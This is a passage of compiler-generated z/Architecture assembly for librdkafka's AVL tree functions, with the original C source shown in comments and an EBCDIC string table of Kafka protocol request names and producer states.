@@gen_label7 DS 0H
BALR 14,15
@@gen_label8 DS 0H
STG 15,0(3,2)
* ***
* *** return rd_avl_balance_node(n);
STG 2,176(0,13)
LA 1,176(0,13)
LGR 15,4
@@gen_label9 DS 0H
BALR 14,15
@@gen_label10 DS 0H
* *** }
* * **** Start of Epilogue
DCCEPIL
* * **** End of Epilogue
DS 0D
@FRAMESIZE_1918 DC F'184'
@lit_1918_8 DC AD(rd_avl_balance_node)
@lit_1918_7 DC AD(@DATA)
DROP 12
*
* DSECT for automatic variables in "rd_avl_rotate"
* (FUNCTION #1918)
*
@AUTO#rd_avl_rotate DSECT
DS XL168
rd_avl_rotate#odir#0 DS 1F ; odir
*
@CODE CSECT
*
*
*
* ....... start of rd_avl_balance_node
@LNAME1917 DS 0H
DC X'00000013'
DC C'rd_avl_balance_node'
DC X'00'
rd_avl_balance_node DCCPRLG CINDEX=1917,BASER=12,FRAME=192,ENTRY=NO,ARC*
H=ZARCH,LNAMEADDR=@LNAME1917
* ******* End of Prologue
* *
* *** const int d = ((((ran)->ran_p[RD_AVL_LEFT]) ? ((ran)->\
* ran_p[RD_AVL_LEFT])->ran_height : 0) - (((ran)->ran_p[RD_AVL_RIGHT])\
* ? ((ran)->ran_p[RD_AVL_RIGHT])->ran_height : 0));
LG 2,0(0,1) ; ran
LTG 15,0(0,2)
BZ @L630
LG 15,0(0,2)
L 15,16(0,15) ; offset of ran_height in rd_avl_node_s
B @L631
DS 0D
@FRAMESIZE_1917 DC F'192'
@lit_1917_15 DC AD(rd_avl_rotate)
@L630 DS 0H
LHI 15,0 ; 0
@L631 DS 0H
LTG 1,8(0,2)
BZ @L632
LG 1,8(0,2)
L 1,16(0,1) ; offset of ran_height in rd_avl_node_s
B @L633
@L632 DS 0H
LHI 1,0 ; 0
@L633 DS 0H
SR 15,1
* *** int h;
* ***
* *** if (d < -1) {
CHI 15,-1
BNL @L634
* *** if (((((ran->ran_p[RD_AVL_RIGHT])->ran_p[RD_AV\
* L_LEFT]) ? ((ran->ran_p[RD_AVL_RIGHT])->ran_p[RD_AVL_LEFT])->ran_hei\
* ght : 0) - (((ran->ran_p[RD_AVL_RIGHT])->ran_p[RD_AVL_RIGHT]) ? ((ra\
* n->ran_p[RD_AVL_RIGHT])->ran_p[RD_AVL_RIGHT])->ran_height : 0)) > 0)
LG 15,8(0,2)
LTG 15,0(0,15)
BZ @L635
LG 15,8(0,2)
LG 15,0(0,15)
L 15,16(0,15) ; offset of ran_height in rd_avl_node_s
B @L636
@L635 DS 0H
LHI 15,0 ; 0
@L636 DS 0H
LG 1,8(0,2)
LTG 1,8(0,1)
BZ @L637
LG 1,8(0,2)
LG 1,8(0,1)
L 1,16(0,1) ; offset of ran_height in rd_avl_node_s
B @L638
@L637 DS 0H
LHI 1,0 ; 0
@L638 DS 0H
SR 15,1
LTR 15,15
BNH @L639
* *** ran->ran_p[RD_AVL_RIGHT] =
* *** rd_avl_rotate(ran->ran_p[RD_AV\
* L_RIGHT],
* *** RD_AVL_RIGHT);
LG 15,8(0,2)
STG 15,176(0,13)
MVGHI 184(13),1
LA 1,176(0,13)
LG 15,@lit_1917_15 ; rd_avl_rotate
@@gen_label17 DS 0H
BALR 14,15
@@gen_label18 DS 0H
STG 15,8(0,2)
@L639 DS 0H
* *** return rd_avl_rotate(ran, RD_AVL_LEFT);
STG 2,176(0,13)
XC 184(8,13),184(13)
LA 1,176(0,13)
LG 15,@lit_1917_15 ; rd_avl_rotate
@@gen_label19 DS 0H
BALR 14,15
@@gen_label20 DS 0H
B @ret_lab_1917
* ***
* *** } else if (d > 1) {
@L634 DS 0H
CHI 15,1
BNH @L640
* *** if (((((ran->ran_p[RD_AVL_LEFT])->ran_p[RD_AVL\
* _LEFT]) ? ((ran->ran_p[RD_AVL_LEFT])->ran_p[RD_AVL_LEFT])->ran_heigh\
* t : 0) - (((ran->ran_p[RD_AVL_LEFT])->ran_p[RD_AVL_RIGHT]) ? ((ran->\
* ran_p[RD_AVL_LEFT])->ran_p[RD_AVL_RIGHT])->ran_height : 0)) < 0)
LG 15,0(0,2)
LTG 15,0(0,15)
BZ @L642
LG 15,0(0,2)
LG 15,0(0,15)
L 15,16(0,15) ; offset of ran_height in rd_avl_node_s
B @L643
@L642 DS 0H
LHI 15,0 ; 0
@L643 DS 0H
LG 1,0(0,2)
LTG 1,8(0,1)
BZ @L644
LG 1,0(0,2)
LG 1,8(0,1)
L 1,16(0,1) ; offset of ran_height in rd_avl_node_s
B @L645
@L644 DS 0H
LHI 1,0 ; 0
@L645 DS 0H
SR 15,1
LTR 15,15
BNL @L646
* *** ran->ran_p[RD_AVL_LEFT] =
* *** rd_avl_rotate(ran->ran_p[RD_AV\
* L_LEFT],
* *** RD_AVL_LEFT);
LG 15,0(0,2)
STG 15,176(0,13)
XC 184(8,13),184(13)
LA 1,176(0,13)
LG 15,@lit_1917_15 ; rd_avl_rotate
@@gen_label25 DS 0H
BALR 14,15
@@gen_label26 DS 0H
STG 15,0(0,2)
@L646 DS 0H
* ***
* *** return rd_avl_rotate(ran, RD_AVL_RIGHT);
STG 2,176(0,13)
MVGHI 184(13),1
LA 1,176(0,13)
LG 15,@lit_1917_15 ; rd_avl_rotate
@@gen_label27 DS 0H
BALR 14,15
@@gen_label28 DS 0H
B @ret_lab_1917
* *** }
* ***
* *** ran->ran_height = 0;
@L640 DS 0H
MVHI 16(2),0 ; offset of ran_height in rd_avl_node_s
* ***
* *** if ((h = ((ran->ran_p[RD_AVL_LEFT]) ? (ran->ran_p[RD_A\
* VL_LEFT])->ran_height : 0)) > ran->ran_height)
LTG 15,0(0,2)
BZ @L647
LG 15,0(0,2)
L 15,16(0,15) ; offset of ran_height in rd_avl_node_s
B @L648
@L647 DS 0H
LHI 15,0 ; 0
@L648 DS 0H
C 15,16(0,2)
BNH @L649
* *** ran->ran_height = h;
ST 15,16(0,2) ; offset of ran_height in rd_avl_node_s
@L649 DS 0H
* ***
* *** if ((h = ((ran->ran_p[RD_AVL_RIGHT]) ? (ran->ran_p[RD_\
* AVL_RIGHT])->ran_height : 0)) >ran->ran_height)
LTG 15,8(0,2)
BZ @L650
LG 15,8(0,2)
L 15,16(0,15) ; offset of ran_height in rd_avl_node_s
B @L651
@L650 DS 0H
LHI 15,0 ; 0
@L651 DS 0H
C 15,16(0,2)
BNH @L652
* *** ran->ran_height = h;
ST 15,16(0,2) ; offset of ran_height in rd_avl_node_s
@L652 DS 0H
* ***
* *** ran->ran_height++;
L 15,16(0,2)
AHI 15,1
ST 15,16(0,2)
* ***
* *** return ran;
LGR 15,2
* *** }
@ret_lab_1917 DS 0H
* * **** Start of Epilogue
DCCEPIL
* * **** End of Epilogue
DROP 12
*
* DSECT for automatic variables in "rd_avl_balance_node"
* (FUNCTION #1917)
*
@AUTO#rd_avl_balance_node DSECT
DS XL168
rd_avl_balance_node#h#0 DS 1F ; h
ORG @AUTO#rd_avl_balance_node+168
rd_avl_balance_node#d#0 DS 1F ; d
*
@CODE CSECT
*
*
*
* ....... start of rd_avl_insert_node
rd_avl_insert_node ALIAS X'99846D81A5936D8995A28599A36D95968485'
@LNAME1611 DS 0H
DC X'00000012'
DC C'rd_avl_insert_node'
DC X'00'
rd_avl_insert_node DCCPRLG CINDEX=1611,BASER=12,FRAME=208,ENTRY=YES,ARC*
H=ZARCH,LNAMEADDR=@LNAME1611
LGR 4,1 ; ptr to parm area
* ******* End of Prologue
* *
LMG 2,3,8(4) ; parent
* *** rd_avl_dir_t dir;
* *** int r;
* ***
* *** if (!parent)
LTGR 15,2
BNZ @L653
* *** return ran;
LGR 15,3
B @ret_lab_1611
DS 0D
@FRAMESIZE_1611 DC F'208'
@lit_1611_26 DC AD(rd_avl_insert_node)
@lit_1611_27 DC AD(rd_avl_balance_node)
@L653 DS 0H
* ***
* *** if ((r = ravl->ravl_cmp(ran->ran_elm, parent->ran_elm)\
* ) == 0) {
LG 15,24(0,3)
STG 15,176(0,13)
LG 15,24(0,2)
STG 15,184(0,13)
LG 5,0(0,4) ; ravl
LG 15,8(0,5) ; offset of ravl_cmp in rd_avl_s
LA 1,176(0,13)
@@gen_label34 DS 0H
BALR 14,15
@@gen_label35 DS 0H
LTR 15,15
BNE @L654
* ***
* *** ran->ran_p[RD_AVL_LEFT] = parent->ran_p[RD_AVL\
* _LEFT];
LG 15,0(0,2)
STG 15,0(0,3)
* *** ran->ran_p[RD_AVL_RIGHT] = parent->ran_p[RD_AV\
* L_RIGHT];
LG 15,8(0,2)
STG 15,8(0,3)
* *** ran->ran_height = parent->ran_height;
L 15,16(0,2) ; offset of ran_height in rd_avl_node_s
ST 15,16(0,3) ; offset of ran_height in rd_avl_node_s
* *** *existing = parent;
LG 15,24(0,4) ; existing
STG 2,0(0,15) ; existing
* *** return ran;
LGR 15,3
B @ret_lab_1611
* *** }
@L654 DS 0H
* ***
* *** if (r < 0)
LTR 15,15
BNL @L655
* *** dir = RD_AVL_LEFT;
LHI 15,0 ; 0
B @L656
* *** else
@L655 DS 0H
* *** dir = RD_AVL_RIGHT;
LHI 15,1 ; 1
@L656 DS 0H
* ***
* *** parent->ran_p[dir] = rd_avl_insert_node(ravl, parent->\
* ran_p[dir],
LGFR 1,15
SLLG 6,1,3(0) ; *0x8
* *** ran, existing)\
* ;
STG 5,176(0,13)
LGFR 15,15
SLLG 15,15,3(0) ; *0x8
LG 15,0(15,2)
STG 15,184(0,13)
STG 3,192(0,13)
LG 15,24(0,4) ; existing
STG 15,200(0,13)
LA 1,176(0,13)
LG 15,@lit_1611_26 ; rd_avl_insert_node
@@gen_label38 DS 0H
BALR 14,15
@@gen_label39 DS 0H
STG 15,0(6,2)
* *** return rd_avl_balance_node(parent);
STG 2,176(0,13)
LA 1,176(0,13)
LG 15,@lit_1611_27 ; rd_avl_balance_node
@@gen_label40 DS 0H
BALR 14,15
@@gen_label41 DS 0H
* *** }
@ret_lab_1611 DS 0H
* * **** Start of Epilogue
DCCEPIL
* * **** End of Epilogue
DROP 12
*
* DSECT for automatic variables in "rd_avl_insert_node"
* (FUNCTION #1611)
*
@AUTO#rd_avl_insert_node DSECT
DS XL168
rd_avl_insert_node#r#0 DS 1F ; r
ORG @AUTO#rd_avl_insert_node+168
rd_avl_insert_node#dir#0 DS 1F ; dir
*
@CODE CSECT
*
*
*
* ....... start of rd_avl_move
@LNAME1919 DS 0H
DC X'0000000B'
DC C'rd_avl_move'
DC X'00'
rd_avl_move DCCPRLG CINDEX=1919,BASER=12,FRAME=192,ENTRY=NO,ARCH=ZARCH,*
LNAMEADDR=@LNAME1919
* ******* End of Prologue
* *
LG 2,0(0,1) ; dst
L 15,20(0,1) ; dir
* ***
* *** if (!dst)
LTGR 3,2
BNZ @L657
* *** return src;
LG 15,8(0,1) ; src
B @ret_lab_1919
DS 0D
@FRAMESIZE_1919 DC F'192'
@lit_1919_29 DC AD(rd_avl_move)
@lit_1919_30 DC AD(rd_avl_balance_node)
@L657 DS 0H
* ***
* *** dst->ran_p[dir] = rd_avl_move(dst->ran_p[dir], src, di\
* r);
LGFR 3,15
SLLG 3,3,3(0) ; *0x8
LGFR 4,15
SLLG 4,4,3(0) ; *0x8
LG 4,0(4,2)
STG 4,168(0,13)
LG 1,8(0,1) ; src
STG 1,176(0,13)
LGFR 15,15
STG 15,184(0,13)
LA 1,168(0,13)
LG 15,@lit_1919_29 ; rd_avl_move
@@gen_label43 DS 0H
BALR 14,15
@@gen_label44 DS 0H
STG 15,0(3,2)
* ***
* *** return rd_avl_balance_node(dst);
STG 2,168(0,13)
LA 1,168(0,13)
LG 15,@lit_1919_30 ; rd_avl_balance_node
@@gen_label45 DS 0H
BALR 14,15
@@gen_label46 DS 0H
* *** }
@ret_lab_1919 DS 0H
* * **** Start of Epilogue
DCCEPIL
* * **** End of Epilogue
DROP 12
*
* DSECT for automatic variables in "rd_avl_move"
* (FUNCTION #1919)
*
@AUTO#rd_avl_move DSECT
DS XL168
*
@CODE CSECT
*
*
*
* ....... start of rd_avl_remove_node0
@LNAME1920 DS 0H
DC X'00000013'
DC C'rd_avl_remove_node0'
DC X'00'
rd_avl_remove_node0 DCCPRLG CINDEX=1920,BASER=12,FRAME=200,ENTRY=NO,ARC*
H=ZARCH,LNAMEADDR=@LNAME1920
* ******* End of Prologue
* *
LG 2,0(0,1) ; ran
* *** rd_avl_node_t *tmp;
* ***
* *** tmp = rd_avl_move(ran->ran_p[RD_AVL_LEFT],
* *** ran->ran_p[RD_AVL_RIGHT],
* *** RD_AVL_RIGHT);
LG 15,0(0,2)
STG 15,176(0,13)
LG 15,8(0,2)
STG 15,184(0,13)
MVGHI 192(13),1
LA 1,176(0,13)
LG 15,@lit_1920_32 ; rd_avl_move
@@gen_label47 DS 0H
BALR 14,15
@@gen_label48 DS 0H
* ***
* *** ran->ran_p[RD_AVL_LEFT] = ran->ran_p[RD_AVL_RIGHT] = (\
* (void *)0);
LGHI 1,0 ; 0
STG 1,8(0,2)
STG 1,0(0,2)
* *** return tmp;
* *** }
* * **** Start of Epilogue
DCCEPIL
* * **** End of Epilogue
DS 0D
@FRAMESIZE_1920 DC F'200'
@lit_1920_32 DC AD(rd_avl_move)
DROP 12
*
* DSECT for automatic variables in "rd_avl_remove_node0"
* (FUNCTION #1920)
*
@AUTO#rd_avl_remove_node0 DSECT
DS XL168
*
@CODE CSECT
*
*
*
* ....... start of rd_avl_remove_elm0
rd_avl_remove_elm0 ALIAS X'99846D81A5936D99859496A5856D859394F0'
@LNAME1613 DS 0H
DC X'00000012'
DC C'rd_avl_remove_elm0'
DC X'00'
rd_avl_remove_elm0 DCCPRLG CINDEX=1613,BASER=12,FRAME=200,ENTRY=YES,ARC*
H=ZARCH,LNAMEADDR=@LNAME1613
LGR 3,1 ; ptr to parm area
* ******* End of Prologue
* *
LG 2,8(0,3) ; parent
* *** rd_avl_dir_t dir;
* *** int r;
* ***
* *** if (!parent)
LTGR 15,2
BNZ @L658
* *** return ((void *)0);
LGHI 15,0 ; 0
B @ret_lab_1613
DS 0D
@FRAMESIZE_1613 DC F'200'
@lit_1613_37 DC AD(rd_avl_remove_node0)
@lit_1613_40 DC AD(rd_avl_remove_elm0)
@lit_1613_41 DC AD(rd_avl_balance_node)
@L658 DS 0H
* ***
* ***
* *** if ((r = ravl->ravl_cmp(elm, parent->ran_elm)) == 0)
LG 15,16(0,3) ; elm
STG 15,176(0,13)
LG 15,24(0,2)
STG 15,184(0,13)
LG 4,0(0,3) ; ravl
LG 15,8(0,4) ; offset of ravl_cmp in rd_avl_s
LA 1,176(0,13)
@@gen_label50 DS 0H
BALR 14,15
@@gen_label51 DS 0H
LTR 15,15
BNE @L659
* *** return rd_avl_remove_node0(parent);
STG 2,176(0,13)
LA 1,176(0,13)
LG 15,@lit_1613_37 ; rd_avl_remove_node0
@@gen_label53 DS 0H
BALR 14,15
@@gen_label54 DS 0H
B @ret_lab_1613
* *** else if (r < 0)
@L659 DS 0H
LTR 15,15
BNL @L661
* *** dir = RD_AVL_LEFT;
LHI 15,0 ; 0
B @L660
* *** else
@L661 DS 0H
* *** dir = RD_AVL_RIGHT;
LHI 15,1 ; 1
@L662 DS 0H
* ***
* *** parent->ran_p[dir] =
@L660 DS 0H
LGFR 1,15
SLLG 5,1,3(0) ; *0x8
* *** rd_avl_remove_elm0(ravl, parent->ran_p[dir], e\
* lm);
STG 4,176(0,13)
LGFR 15,15
SLLG 15,15,3(0) ; *0x8
LG 15,0(15,2)
STG 15,184(0,13)
LG 15,16(0,3) ; elm
STG 15,192(0,13)
LA 1,176(0,13)
LG 15,@lit_1613_40 ; rd_avl_remove_elm0
@@gen_label56 DS 0H
BALR 14,15
@@gen_label57 DS 0H
STG 15,0(5,2)
* ***
* *** return rd_avl_balance_node(parent);
STG 2,176(0,13)
LA 1,176(0,13)
LG 15,@lit_1613_41 ; rd_avl_balance_node
@@gen_label58 DS 0H
BALR 14,15
@@gen_label59 DS 0H
* *** }
@ret_lab_1613 DS 0H
* * **** Start of Epilogue
DCCEPIL
* * **** End of Epilogue
DROP 12
*
* DSECT for automatic variables in "rd_avl_remove_elm0"
* (FUNCTION #1613)
*
@AUTO#rd_avl_remove_elm0 DSECT
DS XL168
rd_avl_remove_elm0#r#0 DS 1F ; r
ORG @AUTO#rd_avl_remove_elm0+168
rd_avl_remove_elm0#dir#0 DS 1F ; dir
*
@CODE CSECT
*
*
*
* ....... start of rd_avl_find_node
rd_avl_find_node ALIAS X'99846D81A5936D868995846D95968485'
@LNAME1615 DS 0H
DC X'00000010'
DC C'rd_avl_find_node'
DC X'00'
rd_avl_find_node DCCPRLG CINDEX=1615,BASER=12,FRAME=200,ENTRY=YES,ARCH=*
ZARCH,LNAMEADDR=@LNAME1615
* ******* End of Prologue
* *
LMG 2,4,0(1) ; ravl
* *** int r;
* ***
* *** if (!begin)
LTGR 15,3
BNZ @L663
* *** return ((void *)0);
LGHI 15,0 ; 0
B @ret_lab_1615
DS 0D
@FRAMESIZE_1615 DC F'200'
@lit_1615_44 DC AD(rd_avl_find_node)
* *** else if (!(r = ravl->ravl_cmp(elm, begin->ran_elm)))
@L663 DS 0H
STG 4,176(0,13)
LG 15,24(0,3)
STG 15,184(0,13)
LG 15,8(0,2) ; offset of ravl_cmp in rd_avl_s
LA 1,176(0,13)
@@gen_label61 DS 0H
BALR 14,15
@@gen_label62 DS 0H
LTR 15,15
BNZ @L665
* *** return (rd_avl_node_t *)begin;
LGR 15,3
B @ret_lab_1615
* *** else if (r < 0)
@L665 DS 0H
LTR 15,15
BNL @L667
* *** return rd_avl_find_node(ravl, begin->ran_p[RD_\
* AVL_LEFT], elm);
STG 2,176(0,13)
LG 15,0(0,3)
STG 15,184(0,13)
STG 4,192(0,13)
LA 1,176(0,13)
LG 15,@lit_1615_44 ; rd_avl_find_node
@@gen_label65 DS 0H
BALR 14,15
@@gen_label66 DS 0H
B @ret_lab_1615
* *** else
@L667 DS 0H
* *** return rd_avl_find_node(ravl, begin->ran_p[RD_\
* AVL_RIGHT], elm);
STG 2,176(0,13)
LG 15,8(0,3)
STG 15,184(0,13)
STG 4,192(0,13)
LA 1,176(0,13)
LG 15,@lit_1615_44 ; rd_avl_find_node
@@gen_label67 DS 0H
BALR 14,15
@@gen_label68 DS 0H
* *** }
@ret_lab_1615 DS 0H
* * **** Start of Epilogue
DCCEPIL
* * **** End of Epilogue
DROP 12
*
* DSECT for automatic variables in "rd_avl_find_node"
* (FUNCTION #1615)
*
@AUTO#rd_avl_find_node DSECT
DS XL168
rd_avl_find_node#r#0 DS 1F ; r
*
@CODE CSECT
*
*
*
* ....... start of rd_avl_destroy
rd_avl_destroy ALIAS X'99846D81A5936D8485A2A39996A8'
@LNAME1605 DS 0H
DC X'0000000E'
DC C'rd_avl_destroy'
DC X'00'
rd_avl_destroy DCCPRLG CINDEX=1605,BASER=12,FRAME=176,ENTRY=YES,ARCH=ZA*
RCH,LNAMEADDR=@LNAME1605
* ******* End of Prologue
* *
* *** if (ravl->ravl_flags & 0x1)
LG 2,0(0,1) ; ravl
TM 19(2),1
BZ @L669
* *** rwlock_destroy(&ravl->ravl_rwlock);
LA 15,24(0,2)
STG 15,168(0,13)
LA 1,168(0,13)
LG 15,@lit_1605_47 ; rwlock_destroy
@@gen_label70 DS 0H
BALR 14,15
@@gen_label71 DS 0H
@L669 DS 0H
* ***
* *** if (ravl->ravl_flags & 0x2)
TM 19(2),2
BZ @ret_lab_1605
* *** rd_free(ravl);
STG 2,168(0,13)
LA 1,168(0,13)
LG 15,@lit_1605_48 ; rd_free
@@gen_label73 DS 0H
BALR 14,15
@@gen_label74 DS 0H
@L670 DS 0H
* *** }
@ret_lab_1605 DS 0H
* * **** Start of Epilogue
DCCEPIL
* * **** End of Epilogue
DS 0D
@FRAMESIZE_1605 DC F'176'
@lit_1605_47 DC AD(rwlock_destroy)
@lit_1605_48 DC AD(rd_free)
DROP 12
*
* DSECT for automatic variables in "rd_avl_destroy"
* (FUNCTION #1605)
*
@AUTO#rd_avl_destroy DSECT
DS XL168
*
@CODE CSECT
*
*
*
* ....... start of rd_avl_init
rd_avl_init ALIAS X'99846D81A5936D899589A3'
@LNAME1606 DS 0H
DC X'0000000B'
DC C'rd_avl_init'
DC X'00'
rd_avl_init DCCPRLG CINDEX=1606,BASER=12,FRAME=184,ENTRY=YES,ARCH=ZARCH*
,LNAMEADDR=@LNAME1606
LGR 4,1 ; ptr to parm area
* ******* End of Prologue
* *
LG 2,0(0,4) ; ravl
L 3,20(0,4) ; flags
* ***
* *** if (!ravl) {
LTGR 15,2
BNZ @L671
* *** ravl = rd_calloc(1, sizeof(*ravl));
MVGHI 168(13),1
MVGHI 176(13),80
LA 1,168(0,13)
LG 15,@lit_1606_50 ; rd_calloc
@@gen_label76 DS 0H
BALR 14,15
@@gen_label77 DS 0H
LGR 2,15 ; ravl
* *** flags |= 0x2;
OILL 3,2
* *** } else {
B @L672
DS 0D
@FRAMESIZE_1606 DC F'184'
@lit_1606_50 DC AD(rd_calloc)
@lit_1606_51 DC AD(rwlock_init)
@L671 DS 0H
* *** __memset(ravl,0,sizeof(*ravl));
* setting 80 bytes to 0x00
XC 0(80,2),0(2)
* *** }
@L672 DS 0H
* ***
* *** ravl->ravl_flags = flags;
ST 3,16(0,2) ; offset of ravl_flags in rd_avl_s
* *** ravl->ravl_cmp = cmp;
LG 15,8(0,4) ; cmp
STG 15,8(0,2) ; offset of ravl_cmp in rd_avl_s
* ***
* *** if (flags & 0x1)
TML 3,1
BZ @L673
* *** rwlock_init(&ravl->ravl_rwlock);
LA 15,24(0,2)
STG 15,168(0,13)
LA 1,168(0,13)
LG 15,@lit_1606_51 ; rwlock_init
@@gen_label79 DS 0H
BALR 14,15
@@gen_label80 DS 0H
@L673 DS 0H
* ***
* *** return ravl;
LGR 15,2
* *** }
* * **** Start of Epilogue
DCCEPIL
* * **** End of Epilogue
DROP 12
*
* DSECT for automatic variables in "rd_avl_init"
* (FUNCTION #1606)
*
@AUTO#rd_avl_init DSECT
DS XL168
*
@CODE CSECT
@@STATIC ALIAS X'7C998481A59350'
@@STATIC DXD 219D
*
* Non-Re-Entrant Data Section
*
@DATA CSECT
@DATA RMODE ANY
@DATA AMODE ANY
@@T48F DC X'99846D838193939683' rd.calloc
DC 1X'00'
@@T493 DC X'99846D948193939683' rd.malloc
DC 1X'00'
@@T498 DC X'99846D99858193939683' rd.realloc
DC 2X'00'
@@T49E DC X'99846DA2A39984A497' rd.strdup
DC 1X'00'
@@T4A3 DC X'99846DA2A3999584A497' rd.strndup
DC 2X'00'
@@T4AB DC X'99846D9985868395A36DA2A482F0' rd.refcnt.sub0
DC 4X'00'
@@T65A DC 4X'00'
DC X'0000001A000000000000002200000000' ................
DC X'00000024' ....
@@T67D DC X'99846D92818692816D94A287986D8485' rd.kafka.msgq.de
DC X'98' q
DC 1X'00'
@@T704 DC X'99846D92818692816D986D8485A2A399' rd.kafka.q.destr
DC X'96A8F0' oy0
DC 1X'00'
@@T785 DC X'99846D92818692816D8595986D969583' rd.kafka.enq.onc
DC X'856D8485A2A39996A8F0' e.destroy0
DC 2X'00'
@@T78D DC X'99846D92818692816D8595986D969583' rd.kafka.enq.onc
DC X'856D8485936DA296A4998385' e.del.source
DC 2X'00'
@@T794 DC X'99846D92818692816D8595986D969583' rd.kafka.enq.onc
DC X'856D8485936DA296A49983856D9985A3' e.del.source.ret
DC X'A49995' urn
DC 1X'00'
@@T79C DC X'99846D92818692816D8595986D969583' rd.kafka.enq.onc
DC X'856DA3998987878599' e.trigger
DC 1X'00'
@@T7A0 DC X'99846D92818692816D8595986D969583' rd.kafka.enq.onc
DC X'856D8485A2A39996A8' e.destroy
DC 1X'00'
@@T7A5 DC X'99846D92818692816D8595986D969583' rd.kafka.enq.onc
DC X'856D8489A281829385' e.disable
DC 1X'00'
@@T7C5 DC X'99846DA394978182A4866D8193939683' rd.tmpabuf.alloc
DC X'F0' 0
DC 1X'00'
@@T7F9 DC X'99846D92818692816D82A4866DA49784' rd.kafka.buf.upd
DC X'81A385' ate
DC 1X'00'
@@T81A DC X'99846D92818692816D82A4866D868995' rd.kafka.buf.fin
DC X'819389A9856D81999981A88395A3' alize.arraycnt
DC 2X'00'
@@T857 DC X'99846D92818692816D82A4866D839983' rd.kafka.buf.crc
DC X'6D899589A3' .init
DC 1X'00'
@@TA27 DC X'99846D92818692816D83A499996D94A2' rd.kafka.curr.ms
DC X'87A26DA2A482' gs.sub
DC 4X'00'
@@TA57 DC X'00000001' ....
DC 4X'00'
@strings@ DS 0H
DC X'C37AE081A2879281869281E093898299' C..asgkafka.libr
DC X'849281869281E0A29983E099844B8800' dkafka.src.rd.h.
DC X'9700D7999684A4838500C685A3838800' p.Produce.Fetch.
DC X'D68686A285A30000D485A3818481A381' Offset..Metadata
DC X'0000D38581848599C19584C9A2990000' ..LeaderAndIsr..
DC X'E2A39697D985979389838100E4978481' StopReplica.Upda
DC X'A385D485A3818481A3810000C39695A3' teMetadata..Cont
DC X'999693938584E288A4A38496A6950000' rolledShutdown..
DC X'D68686A285A3C396949489A30000D686' OffsetCommit..Of
DC X'86A285A3C685A3838800C6899584C396' fsetFetch.FindCo
DC X'969984899581A3969900D1968995C799' ordinator.JoinGr
DC X'96A49700C8858199A3828581A300D385' oup.Heartbeat.Le
DC X'81A585C79996A4970000E2A89583C799' aveGroup..SyncGr
DC X'96A49700C485A28399898285C79996A4' oup.DescribeGrou
DC X'97A20000D389A2A3C79996A497A20000' ps..ListGroups..
DC X'E281A293C8819584A28881928500C197' SaslHandshake.Ap
DC X'89E58599A28996950000C3998581A385' iVersion..Create
DC X'E396978983A20000C4859385A385E396' Topics..DeleteTo
DC X'978983A20000C4859385A385D9858396' pics..DeleteReco
DC X'9984A200C99589A3D7999684A4838599' rds.InitProducer
DC X'C9840000D68686A285A3C69699D38581' Id..OffsetForLea
DC X'848599C5979683880000C18484D78199' derEpoch..AddPar
DC X'A389A3899695A2E396E3A7950000C184' titionsToTxn..Ad
DC X'84D68686A285A3A2E396E3A79500C595' dOffsetsToTxn.En
DC X'84E3A7950000E69989A385E3A795D481' dTxn..WriteTxnMa
DC X'99928599A200E3A795D68686A285A3C3' rkers.TxnOffsetC
DC X'96949489A300C485A28399898285C183' ommit.DescribeAc
DC X'93A20000C3998581A385C18393A20000' ls..CreateAcls..
DC X'C4859385A385C18393A20000C485A283' DeleteAcls..Desc
DC X'99898285C39695868987A200C193A385' ribeConfigs.Alte
DC X'99C39695868987A20000C193A38599D9' rConfigs..AlterR
DC X'859793898381D39687C48999A200C485' eplicaLogDirs.De
DC X'A28399898285D39687C48999A200E281' scribeLogDirs.Sa
DC X'A293C1A4A3888595A3898381A3850000' slAuthenticate..
DC X'C3998581A385D78199A389A3899695A2' CreatePartitions
DC X'0000C3998581A385C48593858781A389' ..CreateDelegati
DC X'9695E39692859500D9859585A6C48593' onToken.RenewDel
DC X'858781A3899695E3969285950000C5A7' egationToken..Ex
DC X'97899985C48593858781A3899695E396' pireDelegationTo
DC X'92859500C485A28399898285C4859385' ken.DescribeDele
DC X'8781A3899695E39692859500C4859385' gationToken.Dele
DC X'A385C79996A497A20000C5938583A3D3' teGroups..ElectL
DC X'8581848599A2D98598A485A2A300C995' eadersRequest.In
DC X'839985948595A38193C193A38599C396' crementalAlterCo
DC X'95868987A2D98598A485A2A30000C193' nfigsRequest..Al
DC X'A38599D78199A389A3899695D98581A2' terPartitionReas
DC X'A2898795948595A3A2D98598A485A2A3' signmentsRequest
DC X'0000D389A2A3D78199A389A3899695D9' ..ListPartitionR
DC X'8581A2A2898795948595A3A2D98598A4' eassignmentsRequ
DC X'85A2A300D68686A285A3C4859385A385' est.OffsetDelete
DC X'D98598A485A2A300C485A28399898285' Request.Describe
DC X'C393898595A3D8A496A381A2D98598A4' ClientQuotasRequ
DC X'85A2A300C193A38599C393898595A3D8' est.AlterClientQ
DC X'A496A381A2D98598A485A2A30000C485' uotasRequest..De
DC X'A28399898285E4A28599E283998194C3' scribeUserScramC
DC X'9985848595A3898193A2D98598A485A2' redentialsReques
DC X'A300C193A38599E4A28599E283998194' t.AlterUserScram
DC X'C39985848595A3898193A2D98598A485' CredentialsReque
DC X'A2A30000E596A385D98598A485A2A300' st..VoteRequest.
DC X'C285878995D8A49699A494C597968388' BeginQuorumEpoch
DC X'D98598A485A2A300C59584D8A49699A4' Request.EndQuoru
DC X'94C597968388D98598A485A2A300C485' mEpochRequest.De
DC X'A28399898285D8A49699A494D98598A4' scribeQuorumRequ
DC X'85A2A300C193A38599C9A299D98598A4' est.AlterIsrRequ
DC X'85A2A300E4978481A385C68581A3A499' est.UpdateFeatur
DC X'85A2D98598A485A2A300C595A5859396' esRequest.Envelo
DC X'9785D98598A485A2A300959695850000' peRequest.none..
DC X'87A989970000A295819797A8000093A9' gzip..snappy..lz
DC X'F400A9A2A3840000899588859989A300' 4.zstd..inherit.
DC X'839695868987A4998584000093858199' configured..lear
DC X'958584008995A3859995819300009396' ned.internal..lo
DC X'878983819300C99589A30000E3859994' gical.Init..Term
DC X'899581A38500C681A38193C599999699' inate.FatalError
DC X'0000D98598A485A2A3D7C9C40000E681' ..RequestPID..Wa
DC X'89A3E3998195A2979699A300E68189A3' itTransport.Wait
DC X'D7C9C400C1A2A289879585840000C499' PID.Assigned..Dr
DC X'818995D985A285A30000C499818995C2' ainReset..DrainB
DC X'A4949700D9858184A8D596A3C1839285' ump.ReadyNotAcke
DC X'8400D9858184A800C995E3998195A281' d.Ready.InTransa
DC X'83A389969500C285878995C396949489' ction.BeginCommi
DC X'A300C396949489A3A3899587E3998195' t.CommittingTran
DC X'A28183A389969500C396949489A3D596' saction.CommitNo
DC X'A3C1839285840000C1829699A3899587' tAcked..Aborting
